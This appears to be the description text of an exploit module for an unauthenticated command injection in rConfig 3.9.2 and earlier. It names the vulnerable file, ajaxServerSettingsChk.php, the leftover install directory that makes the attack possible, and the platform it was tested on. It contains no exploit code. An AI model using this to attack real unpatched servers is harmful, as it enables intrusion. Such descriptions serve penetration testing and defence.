        This module exploits an unauthenticated command injection vulnerability
        in rConfig versions 3.9.2 and prior. The `install` directory is not
        automatically removed after installation, allowing unauthenticated users
        to execute arbitrary commands via the `ajaxServerSettingsChk.php` file
        as the web server user.

        This module has been tested successfully on rConfig version 3.9.2 on
        CentOS 7.7.1908 (x64).
